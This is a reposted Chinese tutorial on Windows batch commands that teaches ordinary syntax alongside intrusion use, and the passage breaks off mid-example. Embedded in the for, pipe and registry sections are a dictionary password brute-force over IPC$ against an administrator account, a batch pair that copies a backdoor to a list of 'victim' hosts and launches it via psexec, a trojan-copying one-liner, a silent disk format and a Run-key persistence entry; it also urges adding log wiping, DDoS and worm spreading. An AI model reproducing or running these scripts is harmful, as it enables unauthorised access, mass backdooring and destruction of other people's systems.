Windows批处理命令大全(转载)

  心态决定状态,心胸决定格局,眼界决定境界。当你的眼泪忍不住要流出来的时候,睁大眼睛,千万别眨眼,你会看到世界由清晰到模糊的全过程。

1.简单批处理内部命令简介

1.1. Echo 命令

  打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法

echo [{on|off}] [message]
Sample:echo off / echo hello world

  在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

1.2. @ 命令

  表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

1.3. Goto 命令

  指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end

  标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

1.4. Rem 命令

  注释命令,在C语言中相当与/--------/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。

Rem Message
Sample:@Rem Here is the description.

1.5. Pause 命令

  运行 Pause 命令时,将显示下面的消息:Press any key to continue ...

Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin

  此例中,驱动器A中磁盘上所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器A时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

1.6. Call 命令

  从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

1.7. start 命令

  调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:

MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数

  执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

1.8. choice 命令

  使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
  注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
  choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。
/N 在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。
/CS 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。
/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0到 9999。如果指定了 0,就不会有暂停,默认选项会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只显示提示。
/? 显示帮助消息。

注意:
  ERROR LEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降
序排列。

示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag
:defrag
c:\dos\defrag
goto end
:mem
mem
echo good bye

  此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

1.9. If 命令

  if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

  1. if "参数" == "字符串" 待执行的命令
    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
  1. if exist 文件名 待执行的命令
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。
    如if exist config.sys edit config.sys

  2. if errorlevel / if not errorlevel 数字待执行的命令
    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2。
      DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
      很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2 ,errorlevel 为0一般说明此判断前的上一个表达式成功,为1一般说明存在错误。

1.10. for 命令

  for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

  filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (set) DO @echo %i
会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。我们用net use \ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。最主要的命令是一条:for /f i% in (dict.txt) do net use \ip\ipc$ "i%" /u:"administrator"用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------

  这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究

1.11. 重定向操作

  可以使用重定向操作符将命令输入和输出数据流从默认位置重定向到其他位置。输入或输出数据流的位置称为句柄。下表将列出可用的句柄。

句柄 句柄的数字代号 描述
STDIN 0 键盘输入
STDOUT 1 输出到命令提示符窗口
STDERR 2 错误输出到命令提示符窗口
UNDEFINED 3-9 句柄由应用程序单独定义,它们是各个工具特有的

  数字 0 到 9 代表前 10 个句柄。可以使用命令 Cmd.exe 运行程序,并对该程序前 10 个句柄中的任何一个句柄进行重定向。要指定要用的句柄,在重定向操作符之前键入该句柄的数字。如果未定义句柄,则默认的 < 重定向输入操作符是 0,而默认的 > 重定向输出操作符是 1。键入 < 或 > 操作符之后,必须指定数据的读写位置。可以指定文件名或其他现有的句柄。
  要指定重定向到现有句柄,请使用与 (&) 字符,后面接要重定向的句柄号(即 &句柄号)。例如,下面的命令可以将句柄 2(即 STDERR)重定向到句柄 1(即 STDOUT):
2>&1

重定向输入"<"
  要通过键盘将输入重定向到文件或设备,使用 "< "操作符。
例如,要从 File.txt 获取 sort 命令的输入,键入:
sort<file.txt
  File.txt 的内容将以字母顺序列表的方式显示在命令提示符窗口中。
  "< "操作符可以打开具有只读访问权限的指定文件名。因此,不能在使用该操作符时向文件中写入信息。例如,如果以 <&2 启动程序,则所有试图读取句柄 0 的操作都将失败,因为句柄 2 最初是以只写访问方式打开的。
注意

  • 0 是 < 重定向输入操作符的默认句柄。

重定向输出">"
  几乎所有的命令都将输出发送到命令提示符窗口。即使将输出发送到驱动器或打印机的命令也会在命令提示符窗口显示消息和提示。要将输出从命令提示符窗口重定向到文件或设备,使用 > 操作符。可以在许多命令中使用该操作符。例如,要将 dir 输出重定向到 Dirlist.txt,键入:
dir>dirlist.txt
  如果 Dirlist.txt 不存在,Cmd.exe 将创建该文件。如果 Dirlist.txt 存在,Cmd.exe 将使用 dir 命令的输出替换文件中的信息。
要运行 netsh routing dump 命令,然后将输出发送到 Route.cfg,键入:
netsh routing dump>c:\route.cfg
  ">" 操作符可以打开具有只写访问权限的指定文件。因此,不能使用该操作符读取文件。例如,如果使用重定向操作符 >&0 启动程序,则写入句柄 1 的所有尝试操作都将失败,因为句柄 0 最初是以只读访问方式打开的。
注意

  • 1 是 > 重定向输出操作符的默认句柄。

复制句柄
  重定向操作符" & "可以将输出或输入从一个指定句柄复制到另一个指定的句柄。
例如,要将 dir 输出发送到 File.txt 并将错误输出发送到 File.txt,键入:
dir>c:\file.txt 2>&1
  复制句柄时,可以复制该句柄原状态的所有特性。例如,如果一个句柄具有只读访问的属性,则该句柄的所有副本都具有只读访问属性。不能将一个具有只读访问属性的句柄复制到另一个具有只写访问属性的句柄。
使用"&"操作符重定向输出和副本
  要将重定向输入操作符 "<" 与复制操作符 "&" 结合使用,指定的文件必须已经存在。如果输入文件存在,Cmd.exe 将以只读方式打开该文件,然后将文件包含的字符作为输入发送到此命令(如同从键盘输入一样)。如果指定了句柄,Cmd.exe 将指定的句柄复制到系统现有的句柄中。
例如,要以句柄 0 输入读取(即 STDIN)的方式打开 File.txt,键入:
< file.txt
要打开 File.txt,并在内容排序后将输出发送到命令提示符窗口(即 STDOUT),键入:
sort< file.txt
要查找 File.txt,然后将句柄 1(即 STDOUT)和句柄 2(即 STDERR)重定向到 Search.txt,键入:
findfile file.txt>search.txt 2<&1
要以句柄 0 输入读取(即 STDIN)的方式复制用户定义的句柄 3,键入:
<&3
使用"&"操作符重定向输出和复制
  如果将输出重定向到文件且指定了现有的文件名,Cmd.exe 将以只写方式打开文件并覆盖该文件内容。如果指定了句柄,Cmd.exe 将文件复制到现有句柄中。
要将用户定义的句柄 3 复制到句柄 1,键入:

&3
  要将包括句柄 2(即 STDERR)的所有输出从 ipconfig 命令重定向到句柄 1(即 STDOUT),然后将输出重定向到 Output.log,键入:
ipconfig.exe>>output.log 2>&1
使用">>"重定向操作符附加输出
  要从命令中将输出添加到文件末尾而不丢失文件中已存在的任何信息,请使用两个连续的大于号(即 >>)。
例如,使用下列命令可以将 dir 命令生成的目录列表附加到 Dirlist.txt 文件:
dir>>dirlist.txt
要将 netstat 命令的输出附加到 Tcpinfo.txt 的末尾,键入:
netstat>>tcpinfo.txt

1.12. set 命令(DOS命令)

  1. 打印系统环境变量
      set命令可以打印系统所有的环境变量信息。应用示例:新建文本文件,命名为set_sys,修改文件类型为bat,用Notepad++打开编辑内容如下:
 1 @echo off
 2 set 显示所有系统环境变量
 3 ::set (暂时屏蔽掉,需要执行请去掉::)
 4 pause>nul
  1. 变量设置值
      应用示例:新建文本文件,命名为set_value,修改文件类型为bat,用Notepad++打开编辑内容如下:
 1 @echo off
 2 set var=呵呵~我是变量var的值
 3 echo %var%
 4 set var=abcdefg
 5 echo %var%
 6 set var="abcdefg"
 7 echo %var%
 8 set "var=abcdefg"
 9 echo %var%
10 pause>nul

  执行结果:

  命令解析:
  注意:各种为变量赋值的写法,以及存在的差异性。

  1. set /p命令
      应用示例:新建文本文件,命名为set_p,修改文件类型为bat,用Notepad++打开编辑内容如下:
1 @echo off
2 set /p var=请输入变量的值:
3 echo 你输入的值是:%var%
4 pause>nul

  执行结果:

  命令解析:
  /p命令语法,作用可以在用户输入前加一段说明性的描述,即想让用户输入什么内容之类的说明。

  1. set /a命令。
      应用示例:新建文本文件,命名为set_a,修改文件类型为bat,用Notepad++打开编辑内容如下:
 1 @echo off
 2 rem +运算符
 3 set /a var=1+1
 4 echo %var%
 5 rem ()运算符
 6 set /a var=(1+1) + (1+1)
 7 echo %var%
 8 rem *运算符
 9 set /a var*=2
10 echo %var%
11 rem ,运算符 注意:求varB和varC时,两种写法的区别
12 set /a varA=var, varB=%var%*2, varC=var*3
13 echo %varA% %varB% %varC%
14 rem 与运算符,必须双引号括起来
15 set /a varD=1"&"0
16 echo %varD%
17 rem 或运算符,必须双引号括起来
18 set /a varE=1"|"0
19 echo %varE%
20 rem 异运算符,必须双引号括起来
21 set /a varF=0"^"0
22 echo %varF%
23 pause>nul

  执行结果:

  命令解析:
  详情见脚本注释。/a expression 即可以用各种表达式为变量赋值。

  1. set替换作用
      应用示例:新建文本文件,命名为set_swap,修改文件类型为bat,用Notepad++打开编辑内容如下:
 1 @echo off
 2 set src= China I love you
 3 echo 替换前的值: "%src%"
 4 set des=%src:love=hate%
 5 echo 替换后的值: "%des%"
 6 set des=%src: =123%
 7 echo 替换后的值: "%des%"
 8 set des=%src:I=me%
 9 echo 替换后的值: "%des%"
 10 set des=%src:you=she%
 11 echo 替换后的值: "%des%"
 12 pause>nul

  执行结果:

  命令解析:
  同样的语句,写了那么多,如果你有点归纳总结的能力,估计应该可以看出来了。
  总结个模板,即如此:set des=%src:str1=str2%
  作用简述:把源变量src的值中所有的str1字符串替换成str2字符串,从而组合形成目标变量des的值。

  1. set取舍作用
      应用示例:新建文本文件,命名为set_at,修改文件类型为bat,用Notepad++打开编辑内容如下:
 1 @echo off
 2 set src=www.baidu.com.cn
 3 echo %src%
 4 set des=%src:~1,2%
 5 echo %des%
 6 set des=%src:~4,5%
 7 echo %des%
 8 set des=%src:~1,7%
 9 echo %des%
10 set des=%src:~5%
11 echo %des%
12 set des=%src:~-5%
13 echo %des%
14 set des=%src:~0,-5%
15 echo %des%
16 set des=%src:~2,-3%
17 echo %des%
18 pause>nul

  执行结果:

  命令解析:
  第 4 行:~1,2 表示:把源变量src的值字符串从第1个索引位开始,取2位组成目标变量des的值(即:ww)。
  第 6 行:~4,5 表示:把源变量src的值字符串从第4个索引位开始,取5位组成目标变量des的值(即:baidu)。
  第 8 行:同理第4、6行(结果即:ww.baid)。
  第 10 行:~5 表示:把源变量src的值字符串从第5个索引位开始,取后面所有组成目标变量des的值(即:aidu.com.cn)。
  第 12 行:~-5 表示:把源变量src的值字符串从尾部开始取5个字符组成目标变量des的值(即:om.cn)。
  第 14 行:~0,-5 表示:把源变量src的值字符串从0索引位开始,至尾部数第五个索引位为止取出组成目标变量des的值(即:www.baidu.c)
  第 16 行:与第14行同理(结果即:w.baidu.com)。

2.如何在批处理文件中使用参数

  批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat

  这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^

sample2:
  当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

@echo off
@net use /1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed

  怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.

3.如何使用组合命令(Compound Command)

3.1. &

Usage:第一条命令 & 第二条命令 [& 第三条命令...]
  用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample

C:>dir z: & dir c:Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

3.2. &&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
  用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample

C:>dir z: && dir c:Ex4rch
The system cannot find the path specified.
C:>dir c:Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

  在做备份的时候可能会用到这种命令会比较简单,如:

dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup

  如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.3. ||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
  用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample

C:Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:
sample

@copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

4.管道命令的使用

4.1. | 命令

Usage:第一条命令 | 第二条命令 [| 第三条命令...]
  将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample

time /t>>D:IP.log
netstat -n -p tcp|find ":3389">>D:IP.log
start Explorer

  看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

4.2. >、>>输出重定向命令

  将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1

echo hello world>c:hello.txt (stupid example?)

sample2:
  时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir .exe>exeback.txt & dir .dll>dllback.txt,
  这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了。
  这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
  CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

4.3. < 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用,也就不多做介绍。
  管道操作符 (|) 可以提取一个命令的输出(默认情况下是 STDOUT),然后将其定向到另一个命令的输入(默认情况下是 STDIN)中。
例如,使用下面的命令可以对目录进行分类:

dir | sort

  在本例中,将同时启动两个命令,但随后 sort 命令会暂停,直到它接收到 dir 命令的输出为止。sort 命令使用 dir 命令的输出作为输入,然后将输出发送到句柄 1(即 STDOUT)。
合并带重定向操作符的命令
  通过合并带有其他命令和文件名的筛选器命令,可以创建自定义命令。例如,可以使用以下命令存储包含“LOG”字符串的文件名:

dir /b | find "log" loglist.txt

  dir 命令的输出是通过 find 筛选器命令进行发送的。包含字符串“LOG”的文件名作为文件名列表(例如,NetshConfig.log、Logdat.svd 和 Mylog.bat)存储在文件 Loglist.txt 中。
  要在相同命令中使用多个筛选器,使用管道 (|) 分隔筛选器。
  例如,下面的命令将搜索 C 盘上的每个目录以查找包含“LOG”字符串的文件名,并且在命令提示符窗口中每次显示一屏:

dir c:\ /s /b | find "log" | more

5.如何用批处理文件来操作注册表

  在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)
  关于注册表的操作,常见的是创建、修改、删除。

5.1. 创建

  创建分为两种,一种是创建子项(Subkey)。我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

  然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。另一种是创建一个项目名称。那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Invader"="Ex4rch"
"Door"=C:/WINNT/system32/door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
新建了:Invader、door、about这三个项目

Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”

5.2. 修改

  修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

5.3. 删除

  我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
"Ex4rch"=-

  执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

  相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00
